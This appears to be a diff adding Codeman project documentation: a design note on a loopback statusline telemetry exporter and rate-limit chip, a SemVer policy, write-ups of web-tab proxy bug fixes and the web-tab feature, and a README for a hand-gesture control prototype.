+Mirrors the hook `curlCmd()`. Reads the stdin JSON, POSTs `{sessionId, data}` to a **fixed** loopback path, and prints the response body back to stdout (print-through, so the footer stays useful). The managed-session env carries `$CODEMAN_SESSION_ID` / `$CODEMAN_API_URL` / `$CODEMAN_HOOK_SECRET_FILE` (from `tmux-manager.buildEnvExports()`).
+
+```bash
+INPUT=$(cat 2>/dev/null || echo '{}'); \
+printf '{"sessionId":"%s","data":%s}' "$CODEMAN_SESSION_ID" "$INPUT" | \
+curl -sk -X POST "$CODEMAN_API_URL/api/status-telemetry" \
+  -H 'Content-Type: application/json' \
+  -H "X-Codeman-Hook-Secret: $(cat "$CODEMAN_HOOK_SECRET_FILE" 2>/dev/null)" \
+  --data @- 2>/dev/null || echo codeman
+```
+
+⚠️ **`curl -sk`, not `curl -s`.** Prod is loopback **HTTPS with a self-signed cert**; without `-k`, curl returns `000` and the statusline silently shows nothing. `-k` is safe (loopback only). *(The existing hook curls use `-s` without `-k` and have the same latent issue on HTTPS installs — a known, separate follow-up.)*
+
+### 2. Endpoint — `POST /api/status-telemetry` (`status-telemetry-routes.ts`)
+
+Fixed path (sessionId in the **body**, not the URL) so the auth exemption is an exact-match like `/api/hook-event` (`middleware/auth.ts`: loopback-only; `X-Codeman-Hook-Secret`-gated while a tunnel runs). Schema `StatusTelemetrySchema` in `schemas.ts` validates the subset; unknown keys are stripped. Pure parsing/formatting in `usage-telemetry.ts`:
+
+- `parseStatusTelemetry(data)` → `{ fiveHour, sevenDay, … }` or `null`. On change (signature dedup; statusline fires often), store last-known (`plan-usage-latest.ts`) and `broadcast('session:statusTelemetry', { sessionId, …telemetry })`.
+- `parseSessionStatus(data)` + `formatSessionStatusText()` → the **footer** string `Opus 4.8 (1M context)  in:562,411 out:1,188  ctx:56%` (returned as `text/plain`). Available from the first render, even before `rate_limits` appears.
+
+### 3. SSE + frontend chip
+
+`session:statusTelemetry` registered in `sse-events.ts` + `constants.js`. `app.js`:
+- `_onSessionStatusTelemetry` → `updatePlanUsageChip(data)` + save to `localStorage['codeman:planUsage']`.
+- `updatePlanUsageChip` renders two `5h`/`7d` windows; **per-window color by usage** — green `<60%`, yellow `60–84%`, red `≥85%` (`pu-green/pu-yellow/pu-red`); bold labels/values; reset times in the tooltip. `resets_at*1000 → Date`.
+- Chip element ships hidden (`header-plan-usage--hidden`); `applyHeaderVisibilitySettings()` reveals it client-side when the setting is on (response-viewer pattern — **no `renderIndexHtml` strip**, which kept the "title-only" render contract intact).
+
+### 4. Chip data robustness — three layers
+
+1. **Live:** `session:statusTelemetry` SSE on every distinct render.
+2. **Fresh load / reconnect:** server stores the latest in `plan-usage-latest.ts`; `getLightState()` includes it as `planUsage`; the per-connection **init snapshot** replays it; `handleInit` paints the chip immediately (authoritative over localStorage). Null until the first telemetry of the process.
+3. **Offline / cross-restart:** `restorePlanUsageChip()` reads `localStorage` on load (12h freshness guard).
+
+### 5. Injection lifecycle — works for *any* user, never self-destructs
+
+The setting `showPlanUsageLimits` is **synced** (in `settings.json`, not a per-device `displayKey`).
+
+- **On toggle** (`PUT /api/settings`, `system-routes.ts`): reconcile the exporter across **all active Claude sessions' working dirs** — inject on enable, remove on disable. Server-side and authoritative, so existing sessions get the footer + feed the chip *immediately*, no new session needed, no dependency on a client's synced localStorage.
+- **On session create** (`session-routes.ts`): **ADD-ONLY** — inject when `statusLineTelemetry` is true; **never remove**. Sessions in a repo share one `settings.local.json`, so a single create-with-false (e.g. a client whose synced setting hadn't loaded) must not yank the statusLine out from under other live sessions. Removal happens only via the explicit toggle.
+- `applyStatusLineConfig()` is **`isOurs`-guarded** (matches `/api/status-telemetry`), so a user's own hand-authored statusLine is never touched, and it **updates an out-of-date ours-command** so fixes (e.g. `-k`) propagate. **No `CASES_DIR` gate** — runs for linked cases / real repos (where sessions actually run), mirroring `updateCaseModel`.
+
+## Codeman-specific considerations
+
+1. **Account-global limits.** The 5h/7d pools are shared across all sessions on the account → one shared header chip (freshest sample wins), not a per-tab bar.
+2. **The footer is owned, by necessity.** A statusLine command always replaces Claude's default footer. Since `rate_limits` *only* arrives via statusLine, we reconstruct a useful **session-status** footer (model · tokens · ctx %) from the same payload rather than showing the limits there.
+3. **`isOurs`-guarded.** Never removes/overwrites a user's own statusLine on disable; only manages the Codeman exporter.
+4. **Security envelope unchanged.** The exporter runs arbitrary shell every render — same trust model as the hook curls (localhost + `$CODEMAN_HOOK_SECRET_FILE`); reuses the hook-secret gate.
+5. **Claude-only.** OpenCode/Codex emit no `rate_limits` JSON; injection is gated to `mode === 'claude'`.
+6. **Future — auto-resume synergy.** Live percentages would let `SessionAutoOps` pre-arm *before* the wall instead of reacting to the stall footer. Not built.

+
+## Bugs E2E testing caught (that unit tests didn't)
+
+The first "shipped" build passed every test and was broken in practice. End-to-end testing on the real install (the lesson: drive a REAL session, observe the REAL output) surfaced:
+
+1. **`CASES_DIR` injection gate** excluded the user's whole workflow — sessions run in linked cases / real repos, not under `~/codeman-cases`. → dropped the gate.
+2. **`curl -s` → `000`** on the loopback self-signed HTTPS cert; statusline silently empty. → `curl -sk`.
+3. **Remove-on-create-false + shared `settings.local.json`** let a single stale client yank the statusLine out from under all sessions in a repo. → add-only on create; removal only via the toggle reconcile.
+4. **Chip blank after reload** (localStorage-only, lost on restart/fresh browser). → server-side last-known in the init snapshot.
+
+## Open questions / future
+
+- **Schema stability.** `rate_limits` is officially shipped but undocumented in exact shape; the parser is tolerant (renders whatever windows exist, ignores unknown).
+- **Hook `curl -s` parity.** Hooks share the no-`-k` issue on HTTPS installs — worth fixing the hook curl too (separate change; covered by `cod54` tests).
+- **Disable cleanliness.** Disabling removes the statusLine from active sessions; a brand-new session created by a *stale* client could re-add it (chip still hidden, footer benign). Fully server-authoritative create-time injection (read the setting server-side instead of the payload flag) would close this — deferred.
+
+## Verification appendix — how the schema was captured (reproducible)
+
+Captured without touching global settings or any real session:
+
+1. Throwaway dir `/tmp/sl-capture` with an exporter `dump.sh` that appends stdin to `payloads.jsonl` and prints `cap`; a `settings.json` pointing `statusLine.command` at it.
+2. `--print` mode does **not** render a statusline → no capture (confirms TUI-only). Must use interactive.
+3. Launch interactive Claude in an **isolated tmux socket** (`tmux -L slcap`, never `-L codeman`) inside the temp dir, `--settings /tmp/sl-capture/settings.json` (no global mutation). Confirm the workspace-trust dialog (appears even with `--dangerously-skip-permissions`), then send a one-line prompt (literal text + Enter separately, Ink-style).
+4. After the first response, `rate_limits` appears in the **second** captured record (absent in the first). Inspect with `jq '.rate_limits'`.
+5. Tear down: `tmux -L slcap kill-server` + `rm -rf /tmp/sl-capture`; verify the `codeman` socket is untouched.

+# Versioning & Stability Policy
+
+Codeman follows [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`),
+managed via `@changesets/cli` (see the COM workflow in `CLAUDE.md`).
+
+This document defines **what the version number actually promises** — i.e. which
+surfaces are covered by SemVer and which are explicitly not. It exists because
+"1.0" is a commitment to stability, and an undocumented public surface invites
+incompatible client assumptions we would then be pressured to keep.
+
+> **Status:** finalized for the 1.0 cut. The HTTP/SSE API **is** part of the stable
+> surface — served under `/api/v1` with a uniform response envelope and
+> conventional HTTP status codes. See [`api-reference.md`](api-reference.md).
+
+## What SemVer covers (the public, stable surface)
+
+A **MAJOR** bump is required to break any of these after 1.0:
+
+1. **The CLI.** Command names, documented flags, and their behavior for
+   `codeman <command>` (published to npm as `aicodeman`; invoked as `codeman`).
+   This is the package's actual public entry point (`bin`).
+   - The package is published to npm as `aicodeman` and installs **both** the
+     `aicodeman` and `codeman` commands (`bin` aliases); `codeman` is the
+     canonical command used throughout the docs. Renaming either after 1.0 is a
+     breaking change.
+2. **The published `xterm-zerolag-input` library**, but on **its own version
+   line** — it is versioned and released independently of the Codeman app. Its
+   1.0 status is a separate decision; the Codeman app reaching 1.0 does *not*
+   imply `xterm-zerolag-input` is 1.0.
+3. **Documented environment variables** that configure deployment:
+   `CODEMAN_PASSWORD`, `CODEMAN_USERNAME`, `CODEMAN_HOST`, `CODEMAN_PORT`,
+   `CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`, `CODEMAN_DATA_DIR`,
+   `CODEMAN_TMUX_SOCKET`, and the `--host` / `--port` / `--https` CLI flags.
+   Removing or changing the meaning of one of these is breaking.
+4. **The HTTP API and SSE event channel**, served under **`/api/v1`** with the
+   uniform `{success:true,data}` / `{success:false,error,errorCode}` envelope and
+   conventional HTTP status codes. Endpoint paths, the response envelope, error
+   `errorCode` values, and SSE event names are stable — see
+   [`api-reference.md`](api-reference.md). *Additive* changes (new endpoints, new
+   optional fields, new error codes, new SSE events) are non-breaking; breaking
+   changes ship under a new prefix (`/api/v2`). The unversioned `/api/...` alias
+   is kept working for the bundled UI.
+
+## What SemVer does NOT cover (internal surfaces — may change in any release)
+
+These may change in a **MINOR** (or even PATCH) release without a MAJOR bump:
+
+1. **The `~/.codeman/` state file formats** (`state.json`, `settings.json`,
+   `mux-sessions.json`, etc.). We make a **best-effort** to migrate existing data
+   forward (and have done so across renames), but the on-disk schema is not a
+   stable contract — do not write tooling that depends on its exact shape.
+2. **Internal TypeScript modules.** The npm package is CLI-only; `import`ing it
+   programmatically is not supported (there is no stable library entry point).
+3. **Experimental / opt-in features**, regardless of the app's version:
+   Gesture Control (beta), Agent Teams
+   (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`), and anything labeled experimental
+   in the UI or docs. These may change or be removed at any time.
+
+## Deprecation policy
+
+When we need to change a covered surface:
+
+- Prefer **additive** changes (new flag/env var/command) over breaking ones.
+- A covered surface slated for removal is **deprecated first** — it keeps working
+  for at least one MINOR release with a runtime warning and a `CHANGELOG.md` note
+  pointing to the replacement — then removed in the next MAJOR.
+- Back-compat migration shims (e.g. the historical Claudeman→Codeman data/socket
+  migration) are kept until a MAJOR boundary, then may be dropped.
+
+## Pre-1.0 (`0.x`) caveat
+
+Until 1.0 ships, **any release may contain breaking changes** per SemVer's `0.x`
+allowance. The commitments above take effect at `1.0.0`.

+# Web tabs: two fixes (planned + implemented 2026-07-28)
+
+Both found against the saved dashboard
+`https://macminis-mac-mini.tailf80371.ts.net:4000` (Bio-Hacking-Dashboard).
+Kept because the root-cause analysis of the second one is not obvious from the
+resulting diff.
+
+Status: **both implemented and verified end-to-end.** The one deliberate
+non-change is recorded at the bottom.
+
+---
+
+## Bug 1: saved URLs could not be deleted from the Run dropdown
+
+### What happened
+
+The "Web / URL" section of the Run dropdown listed every saved dashboard as a
+single clickable row whose only action was "open". Deleting required opening the
+dashboard as a tab, clicking the tab's gear, then Delete in the modal, so a URL
+you no longer wanted open at all could not be removed without first opening it.
+
+### What shipped
+
+- `renderWebviewMenuItems()` (`src/web/public/webview-tabs.js`) now renders each
+  saved URL as a `.run-mode-row--web` flex row: the open button, a gear
+  (`showWebviewModal`), and an `x` (`deleteWebviewById`). Nested buttons are
+  invalid HTML, hence the wrapper rather than a button inside a button.
+- `deleteWebview()` split into the modal entry point, the new row entry point
+  `deleteWebviewById(id)`, and the shared `_confirmAndDeleteWebview(id)`.
+- Both side buttons call `event.stopPropagation()` so the click does not also
+  open the dashboard.
+- The dropdown's outside-click handler (`session-ui.js`) closes when the click
+  target is not inside `#runModeMenu`, and the row is gone by the time the delete
+  resolves, so `deleteWebviewById` re-asserts `.active` on the menu. Verified in a
+  browser: deleting one of several URLs leaves you looking at the rest of the list.
+- CSS in `styles.css` (`.run-mode-row--web`, `.run-mode-row-btn`) plus a larger
+  touch target in `mobile.css`. The side buttons are permanently visible rather
+  than hover-revealed, because this menu is used on touch.
+
+No server change: `DELETE /api/webviews/:id` already existed, owner-scoped, and
+already revoked the capability and broadcast `WebviewChanged`.
+
+---
+
+## Bug 2: images did not load in a proxied dashboard
+
+### Reproduction (before the fix)
+
+```
+CAP=<from POST /api/webviews/<id>/open>
+# A) upstream direct                       -> 200 image/jpeg 118150
+curl -sk "https://macminis-mac-mini.tailf80371.ts.net:4000/api/hero?slug=120-minutes-in-nature"
+# B) through the proxy prefix              -> 200 image/jpeg 118150
+curl -sk "https://localhost:3000/webview/$CAP/api/hero?slug=120-minutes-in-nature"
+# C) what the browser ACTUALLY requested   -> 404 {"errorCode":"NOT_FOUND"}
+curl -sk -H "Referer: https://localhost:3000/webview/$CAP/" \
+     "https://localhost:3000/api/hero?slug=120-minutes-in-nature"
+# D) same shape but NOT under /api         -> 200 (referer fallback rescues it)
+curl -sk -H "Referer: https://localhost:3000/webview/$CAP/" "https://localhost:3000/styles.css"
+```
+
+The proxy itself was fine (B). The failure was entirely about which URL the
+browser ended up requesting (C).
+
+### Root cause
+
+The dashboard builds its image markup at runtime with root-absolute URLs:
+`c.innerHTML = '<img class="thumb" src="/api/hero?slug=...">'`, `img.src =
+slideSrc(...)` returning `/api/slide?owner=...`, `/api/story`, `/api/video`, and a
+nested `<iframe src="/api/preview?slug=...">`.
+
+All three rewrite layers missed that shape:
+
+1. `<base href="/webview/<cap>/">` only affects **relative** URLs. A root-absolute
+   `/api/hero` ignores the base path and resolves against Codeman's origin.
+2. `rewriteHtml()` only runs over the **initial HTML document**. This markup is
+   created later by page script. (The static header `<img src="/api/logo">` DID
+   work, having been rewritten at proxy time, which is why only the
+   runtime-injected images were broken.)
+3. `runtimeUrlShim()` patched only `fetch`, `XMLHttpRequest.open`, `WebSocket` and
+   `EventSource`, so the dashboard's **data** loaded while its **pictures** did
+   not.
+
+The safety net was fenced off from `/api` in two places, both deliberate:
+`server.ts`'s not-found handler returns the API-envelope 404 before reaching
+`tryWebviewRefererFallback`, and `middleware/auth.ts` refuses the Referer-form
+auth exemption for `/api/`, `/ws/`, `/q/`.

+`runtimeUrlShim()` in `src/web/webview-proxy.ts` now also covers the DOM sinks, so
+a root-absolute `/api/...` request is never emitted in the first place and neither
+security fence had to move:
+
+- `innerHTML` / `outerHTML` / `insertAdjacentHTML` (and `ShadowRoot.innerHTML`),
+- `setAttribute` / `setAttributeNS`,
+- the `src`/`srcset`/`href`/`poster`/`data`/`action` property setters on img,
+  source, media, video poster, script, iframe, embed, track, link, anchor, area,
+  object and form,
+- a `MutationObserver` as a last net for any sink not patched above (it costs one
+  wasted 404 per node, since the browser starts fetching on insert, so it is a net
+  and not the mechanism).
+
+Two details that mattered:
+
+- Every rewrite routes through the existing idempotent `rw()` rather than a blind
+  prefix concat. The first draft used the server-side regex shape and
+  double-prefixed markup that was already proxied (a page re-injecting its own
+  `outerHTML`); the jsdom test caught it.
+- Everything stays inside `try`/`catch` and is marked `__cmrw`, so a double
+  injection cannot wrap an already-wrapped setter, and nothing can throw into a
+  page we do not control.
+
+### Verification
+
+- `test/webview-proxy.test.ts` gained a jsdom `runtimeUrlShim DOM sinks` block:
+  innerHTML, insertAdjacentHTML, property setters, setAttribute, srcset candidate
+  lists, the MutationObserver net via an unpatched sink
+  (`createContextualFragment`), idempotence, re-injected markup, empty `src`, and
+  the pass-throughs (relative, cross-origin, `#hash`, `data:`). 73 tests pass.
+- End-to-end in a real browser against an isolated instance
+  (`CODEMAN_INSTANCE=wvtest`, port 3151), with prod's old build as the negative
+  control:
+
+  | | before (prod, old build) | after (fixed) |
+  | --- | --- | --- |
+  | images found | 693 | 693 |
+  | src under the proxy prefix | 0 | 693 |
+  | in-viewport images decoded | 0 / 23 | 23 / 23 |
+  | sample src | `/api/hero?slug=...` | `/webview/<cap>/api/hero?slug=...` |
+
+  (The dashboard marks thumbs `loading="lazy"`, so only in-viewport images are
+  ever fetched. All 27 proxied image responses returned 200.)
+
+---
+
+## Follow-up (same day): the `/api` referer fallback, done safely
+
+Originally deferred, then implemented on request. Both gates had to move, and the
+auth one is the security-sensitive half: auth runs in `onRequest`, before routing,
+so it cannot tell a real Codeman API route from a 404, and simply dropping the
+`/api` fence would let a page holding a capability forge a `Referer` and reach
+Codeman's **real** API unauthenticated.
+
+What shipped:
+
+- `server.ts`: `tryWebviewRefererFallback` is tried **before** the API-shaped 404.
+  Reaching that handler already proves no route matched, and the relay declines
+  unless the `Referer` carries a live capability, so unknown `/api` paths still
+  get the envelope.
+- `middleware/auth.ts`: the `/api/` prefix refusal is replaced by
+  `matchesRegisteredRoute()`, which refuses the exemption for any path that
+  resolves to a real route. `/ws/` and `/q/` stay refused by prefix.
+
+Two findings that decided the implementation, both established by probing Fastify
+rather than by reading its docs:
+
+- **`hasRoute()` is the wrong tool and would have been a hole.** It matches the
+  registered PATTERN literally, so `hasRoute({url: '/api/sessions/abc'})` returns
+  false against a registered `/api/sessions/:id` and would have handed out an
+  exemption on a live, session-scoped API route. `findRoute()` performs the real
+  radix-tree lookup and is what the fence uses.
+- **`@fastify/static` is mounted at `/`, so it registers a root catch-all that
+  matches every path.** A match on it means "heading for the 404 handler", not
+  "real route", and it is distinguishable because a root catch-all is the only
+  route whose `*` param comes back equal to the whole request path. Without that
+  carve-out the fence would have refused every referer-form request and broken the
+  rescue that already worked.
+
+The fence fails closed, and `test/webview-auth-exemption.test.ts` pins both edges
+(a concrete URL onto a parametric API route stays 401; the dashboard's own
+`/api/...` namespace is served).
+
+### And the CSS gap, which the fallback could NOT close
+
+Testing the fallback against a purpose-built upstream showed the runtime-injected
+stylesheet case is unreachable by any relay: a `<style>` element has no URL of its
+own, so Chromium sends an **empty `Referer`** with the image request it triggers
+and there is nothing to key on. Measured directly:
+
+| sink | Referer the browser sends | fixed by |
+| --- | --- | --- |
+| `url()` in a proxied `.css` | the stylesheet's proxied URL | the referer relay |
+| `url()` in a runtime `<style>` | *empty* | `rwCss()` in the shim |
+
+So the shim also rewrites `url()` inside `<style>` blocks, both when they arrive as
+markup and when a `<style>` node is inserted (via the existing MutationObserver).
+
+The only gap left is self-navigation via `location.href = '/x'`, which cannot be
+patched because `Location.href` is unforgeable.

+# Web Tabs (dashboards as Codeman tabs)
+
+Open any dashboard you run, Grafana, Uptime Kuma, Portainer, a status page on port
+4000, as a tab beside your Claude/Codex/Gemini sessions. Codeman becomes one mission
+control instead of Codeman plus a pile of browser tabs.
+
+## Using it
+
+1. Click the chevron next to **Run** to expand the dropdown.
+2. Under **Web / URL**, pick **Add dashboard...**
+3. Give it a name and a URL, optionally hit **Test**, then **Save**.
+
+The dashboard opens as a tab immediately, and appears in the Run dropdown from then
+on. Web tabs sit in the same strip as session tabs, continue the same `Alt+1..9`
+numbering, and carry a globe icon so they never read as a running agent.
+
+Closing a tab (the `x`) only closes it. The saved dashboard stays in the dropdown.
+To delete it for good, use the `x` on its **dropdown row** (the tab's own `x` is
+close, not delete). Each dropdown row also has a gear for editing, so a saved URL
+can be changed or removed without opening it first.
+
+Switching tabs does **not** reload a dashboard. Frames stay alive in the background,
+so a dashboard that took a while to authenticate is still there when you come back.
+Past six live frames the least-recently-viewed one is dropped to bound memory
+(`CODEMAN_MAX_LIVE_WEBVIEW_FRAMES`).
+
+## Why dashboards are proxied
+
+A plain `<iframe src="http://your-box:4000">` does not work in the setup Codeman
+actually ships in, for three separate reasons:
+
+| Blocker             | What happens                                                                                   |
+| ------------------- | ---------------------------------------------------------------------------------------------- |
+| **Mixed content**   | Production serves HTTPS (behind `tailscale serve`). Browsers hard-block `http://` iframes on an HTTPS page, with no override, and none at all on iOS Safari. |
+| **Framing refusal** | Grafana, Portainer, Home Assistant and many others send `X-Frame-Options: DENY` or `frame-ancestors 'none'`. |
+| **Codeman's CSP**   | `default-src 'self'` means `frame-src` falls back to `'self'`, so a cross-origin iframe is blocked before it starts. |
+
+Serving the dashboard **through Codeman's own origin** dissolves all three. So by
+default a web tab loads `/webview/<capability>/` on Codeman, and Codeman relays to
+the dashboard: stripping the framing refusal, rewriting redirects, cookies and
+root-absolute URLs, and relaying WebSockets so live panels actually update.
+
+A useful consequence: the dashboard is fetched **from the Codeman server**, so a
+tailnet-only or `localhost`-only dashboard works from any device that can reach
+Codeman, including a phone that is not on the tailnet.
+
+`direct` mode (a plain cross-origin iframe) still exists and is cheaper, but it only
+works for an HTTPS dashboard that permits framing. The **Test** button probes from
+the server and tells you which mode applies.
+
+## The sandbox, and when to turn it off
+
+Because a proxied dashboard is served from Codeman's own address, it is
+*same-origin with Codeman* as far as the browser is concerned. Left unchecked, its
+JavaScript could read the Codeman page and call the API that spawns agents.
+
+So the iframe is sandboxed **without** `allow-same-origin` by default. The page runs
+in an opaque origin: it cannot touch Codeman, and it gets no cookies or
+`localStorage` of its own.
+
+Unchecking **Open sandboxed** grants `allow-same-origin`. Do that only for a
+dashboard you fully trust, and only if you need it, which in practice means a
+dashboard with its own login that stores a session in a cookie or `localStorage`.
+
+Even in trusted mode, Codeman never forwards its own credentials upstream: the
+`Authorization` header and the `codeman_session` cookie are stripped on the way out,
+so `CODEMAN_PASSWORD` cannot leak into a dashboard.
+
+## How the proxy authenticates
+
+A sandboxed iframe is opaque-origin, so every request it makes is cross-site: the
+`SameSite=lax` session cookie is not sent, and writes and WebSocket upgrades arrive
+with `Origin: null`. Cookie auth cannot work.
+
+Instead, opening a dashboard mints a **capability**: 192 bits of entropy in the URL
+path, held in memory only, with a rolling 12-hour TTL, bound to the user who minted
+it, and granting exactly one thing, relaying bytes to that one saved URL. Editing or
+deleting a dashboard revokes it, and a server restart invalidates every outstanding
+capability (tabs re-mint transparently on next click).
+

+| `CODEMAN_MAX_WEBVIEW_SOCKETS`        | 8       | Concurrent proxied WebSockets per dashboard |
+
+Saved dashboards live in `~/.codeman/webviews.json`. Which tabs you have open is
+per-device (`localStorage`), since that is workspace layout rather than config.
+
+## How a dashboard's own API calls keep working
+
+Worth knowing, because it is where this feature does its least obvious work. Three
+layers cooperate so a dashboard talking to its own backend just works:
+
+1. `<base href>` handles relative URLs in the markup.
+2. Attribute rewriting handles root-absolute `src`/`href`/`action` in the page the
+   proxy serves.
+3. A small injected script rebases URLs built at **runtime**, which the first two
+   cannot see: `fetch('/api/data')` and `new WebSocket('/live')`, but equally
+   `card.innerHTML = '<img src="/api/hero">'`, `img.src = '/api/slide'`, and
+   `url(/img.png)` inside a `<style>` the page injects. That second group is why
+   images are covered too. A dashboard that renders its thumbnails from script
+   would otherwise show all its data and none of its pictures, because `<base>`
+   does not apply to root-absolute URLs and the attribute rewriting only ever saw
+   the initial document.
+4. As a last resort, a request that still lands on Codeman's own root is relayed
+   using its `Referer` to identify the dashboard. This only fires for a request
+   that already missed every Codeman route, and never for one that resolves to a
+   real route, which is what keeps it from being an authentication bypass.
+
+On top of that, the proxy answers those requests with CORS headers. That sounds
+wrong for same-host requests, but a sandboxed iframe has an *opaque* origin, so the
+browser treats every one of its `fetch`/XHR calls as cross-origin even though the
+URL is on Codeman itself. Without those headers, a dashboard renders perfectly and
+then every API call fails, which looks like the dashboard being broken.
+
+## Known limits
+
+- **Exotic loaders.** The layers above cover normal `fetch`/XHR/WebSocket/
+  EventSource, normal markup, the DOM sinks a page uses to build markup at runtime,
+  and `url()` inside stylesheets. Something that constructs requests by an unusual
+  route can still slip through. Symptom: the page renders but a panel stays empty.
+- **Root-absolute `location` navigation.** A dashboard that navigates itself with
+  `location.href = '/login'` escapes the prefix, because `Location.href` is
+  unforgeable and cannot be patched the way the other sinks are. A relative
+  `location.href = 'login'` is fine (`<base>` covers it).
+- **Cross-origin redirects are not followed.** If a dashboard bounces to a different
+  host (an external SSO provider, say), the proxy hands the redirect back unchanged
+  rather than relaying it, because relaying would make this an open proxy. Use
+  **Open in new tab** for those.
+- **Login-protected dashboards need trusted mode**, since a sandboxed frame has no
+  cookie jar. A server-side per-dashboard cookie jar would lift this and is the
+  natural next step if it becomes annoying.
+- **Not a security boundary.** The proxy reaches whatever the Codeman server can
+  reach. That is not an escalation for someone who already commands
+  `--dangerously-skip-permissions` agents, but in multi-user mode it does mean a
+  non-admin user's dashboard is fetched from the server's network position.
+

+> up** — an open palm while reaching to pinch kept charging the hold-to-halt. The
+> `GestureController` core still emits `command`/`haltProgress` for any future
+> consumer; the demo just no longer listens.
+
+This is a standalone prototype (own folder, fake tabs) so the input *feel* can
+be validated on real hardware before integrating with Codeman. The canonical
+spec is **[`docs/BUILD_PLAN.md`](./docs/BUILD_PLAN.md)** — read it before
+continuing the build.

+
+## Status: Phase 0–4 complete
+
+| Phase | What | State |
+|-------|------|-------|
+| 0 | Vite+TS scaffold, mirrored webcam preview, start button | ✅ done |
+| 1 | MediaPipe `GestureRecognizer` (VIDEO mode, CDN model+wasm), rAF loop, debug skeleton overlay, HUD | ✅ done |
+| — | **Checkpoint: ≥25fps on real camera/lighting** | ✅ 60fps (iPhone 17 Pro / Continuity Camera) |
+| 2 | One-Euro–filtered cursor + pinch detection (hysteresis) | ✅ done |
+| 3 | Drag fake tabs across 3 columns (state machine) — go/no-go | ✅ done (two-handed) |
+| 4 | Discrete gesture→command bus (👍 approve · ✌️ new-session · ✋-hold halt-all) + toast | ✅ built, ⛔ **unwired in the demo** (pinch-only) |
+| 5 | Integrate `gesture/` into real Codeman (`src/codeman/entry.ts`) | ✅ **working at the desk** — see [Codeman integration](#codeman-integration) |
+
+Also done beyond the original plan: **two-hand tracking** (drag two tabs at
+once) and a **live camera picker** (front-facing iPhone 17 Pro by default; the
+superwide / Desk View camera now works too — see the camera note below).
+
+Also: **fullscreen mode** (toggle button — the board fills the display, so grab
+targets get big).
+
+**Phase 5 is live** in the real Codeman dashboard. The Codeman-side detach +
+instance isolation + base gesture overlay are committed on `Ark0N/Codeman`
+branch `beta/session-detach` (open as **PR #103**) — including this session's
+gesture *improvements* (direct-detach, Run/Run Shell taps, self-hosted MediaPipe,
+cache-bust), ported onto the PR in commit `eea84db` (CI green). See
+[Codeman integration](#codeman-integration) below and the hand-off brief
+[`../docs/CODEMAN_DETACH_BRIEF.md`](../docs/CODEMAN_DETACH_BRIEF.md).
+
+**Multi-monitor mode — built & validated at the desk (2026-06-08).** Approach
+**A+C** (see [`../docs/MULTIMONITOR_DESIGN.md`](../docs/MULTIMONITOR_DESIGN.md)):
+(A) gesture "detach" now pops a session into a re-grabbable **in-page floating
+panel** (an `<iframe src="/session/:id">`, not an OS window — so the hand keeps
+control); (C) `scripts/span-codeman.sh` runs Codeman in a **single window spanned
+across both monitors** (Brave-first; needs macOS "Displays have separate Spaces"
+OFF + re-login), launchable one-click from a new **multi-monitor button** in
+Codeman's header. Confirmed: a panel drags across the monitor seam. Still pending:
+`getScreenDetails` screen-snapping (C-snap) and the re-dock gesture.
+
+---
+
+## Run it
+
+```bash
+cd gesture-proto
+npm install
+npm run dev
+```
+
+Open the URL Vite prints (http://localhost:5173). `getUserMedia` requires a
+secure context — `localhost` qualifies, so the dev server is fine. Click
+**Start camera**, allow the camera, hold a hand up. You should see each hand's
+21-point skeleton, a cursor ring per hand (cyan = left, violet = right, green
+while pinching), and a live HUD.
+
+**Choosing a camera:** after Start, the dropdown lists every video device. On a
+Mac with an iPhone nearby (Continuity Camera) you'll typically see the built-in
+FaceTime cam, the **iPhone Camera** (main/wide lens), and a **Desk View Camera**
+— the latter is driven by the iPhone's ultra-wide lens aimed down at the desk
+(the overhead angle). Switching is live; no restart needed. The browser can't
+select the ultra-wide lens directly, so Desk View is how you reach it. **The
+Desk View / superwide camera now works with no issues and tracking is confirmed
+on it** — earlier it was Safari-only and rendered stretched; that's resolved.
+
+**Using it:** point at a tab (it highlights), **pinch** thumb+index to grab,
+move to another Screen column, release to drop. Both hands work at once. **⛶
+Fullscreen** makes the board fill the display (Esc exits). No open-hand gesture
+commands in this build — it's pinch-drag only (see the note up top).
+
+Other scripts: `npm run build` (tsc + vite build), `npm run preview`.
+
+### Developing on the Mac mini, running on the MacBook
+
+The prototype is *run/tested* on the MacBook (better for sitting at the desk
+with the camera). To sync:
+
+```bash
+git pull          # on the MacBook
+cd gesture-proto && npm install && npm run dev
+```
+
+No machine-specific state is committed (`node_modules/`, `dist/`, and
+`.claude/settings.local.json` are gitignored).
+
+### Framerate note
+
+The HUD fps turns **green at ≥ 25**, amber below. Confirmed **60fps** on the
+iPhone 17 Pro (Continuity Camera). If it's ever low, improve **even, frontal
+lighting on the hand zone** first — that matters more than the sensor.
+
+---
+
+## Codeman integration
+
+Phase 5 ships a **separate consumer**, `src/codeman/entry.ts` (the demo +
+`main.ts` are untouched — they stay as a desk-testing harness). It imports the
+same unchanged `src/gesture/` core and binds its events to the **real** Codeman
+dashboard. Build it standalone (MediaPipe inlined) with:
+
+```bash
+npm run build:codeman      # esbuild → dist-codeman/gesture-codeman.js
+```
+
+Codeman serves that bundle at `/gesture/gesture-codeman.js` and injects it into
+the dashboard **only when started with `CODEMAN_GESTURE=1`** (which also widens
+its CSP for WebAssembly). Deploy = copy the bundle into Codeman's
+`src/web/public/gesture/` and reload (static is served from disk).
+
+**Gestures (all off one pinch, routed by what's under your fingertips):**
+- **Fullscreen camera** by default — mirrored, dimmed, full-viewport so you see
+  your hands over the real tabs; the **⛶** button toggles a corner preview.
+- **Grab → in-page floating panel** *(pivoted 2026-06-08 — replaced the old
+  OS-window detach)* — pinch a session tab, a ghost of it follows your hand, pull
+  it out of the strip (>70px) and release → the session pops into a **re-grabbable
+  in-page `.cg-float` panel** (an `<iframe src="/session/:id">`, 640×420) at the
+  drop point. Pinch the panel again to move it anywhere. It stays inside the
+  camera-owning page, so the hand keeps control (the old `window.app.detachSession`
+  `window.open` was a one-way trip). A small twitch-and-release cancels.
+- **Run / Run Shell** — pinch over the **Run** (`#runBtn`) or **Run Shell**
+  (`.btn-shell`) toolbar button and release in place to fire it; drifting too
+  far first cancels the tap. The button list is `CLICK_SELECTOR` in `entry.ts`.
+
+**Self-hosted MediaPipe.** The Codeman consumer loads the wasm runtime + the
+`gesture_recognizer.task` model **same-origin** from `/gesture/` (via
+`wasmBase`/`modelUrl` options), not the CDN — a browser content/ad blocker can
